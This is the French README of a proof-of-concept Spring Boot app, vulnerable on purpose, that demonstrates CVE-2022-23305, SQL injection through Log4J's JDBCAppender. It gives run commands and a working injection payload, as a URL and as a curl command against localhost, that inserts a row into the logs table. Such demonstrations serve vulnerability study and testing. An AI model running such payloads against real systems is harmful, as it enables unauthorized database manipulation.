
CVE-2022-23305 POC d'injection SQL JDBCAppender Log4J
Il s'agit d'une application très simple basée sur Spring Boot qui démontre la vulnérabilité CVE-2022-23305. Elle utilise Apache Maven, Spring Boot, Spring MVC et la base de données en mémoire H2 pour journaliser une simple entrée, prise comme paramètre de chaîne de requête URL. Étant donné que Log4J est configuré pour utiliser un JDBCAppender, elle est vulnérable à l'injection SQL.
Voir src/main/java/poc/InjectionController.java pour l'instruction de journalisation.
Voir le dossier src/main/resource pour tous les fichiers de configuration.
Vous pouvez exécuter l'application avec Java et Maven en lançant mvn clean spring-boot:run.
Vous pouvez également l'exécuter en tant qu'application Docker, par exemple :
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
L'application sera disponible à l'adresse http://localhost:8080/.
Pour exploiter la vulnérabilité, soumettez une instruction SQL injectée comme paramètre qui est journalisé :
"http://localhost:8080/?param=');insert into logs values(':("
La réponse listera les entrées de journal ajoutées, dont une ajoutée par le SQL injecté dans le paramètre.
Pour faire de même avec curl, utilisez :
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('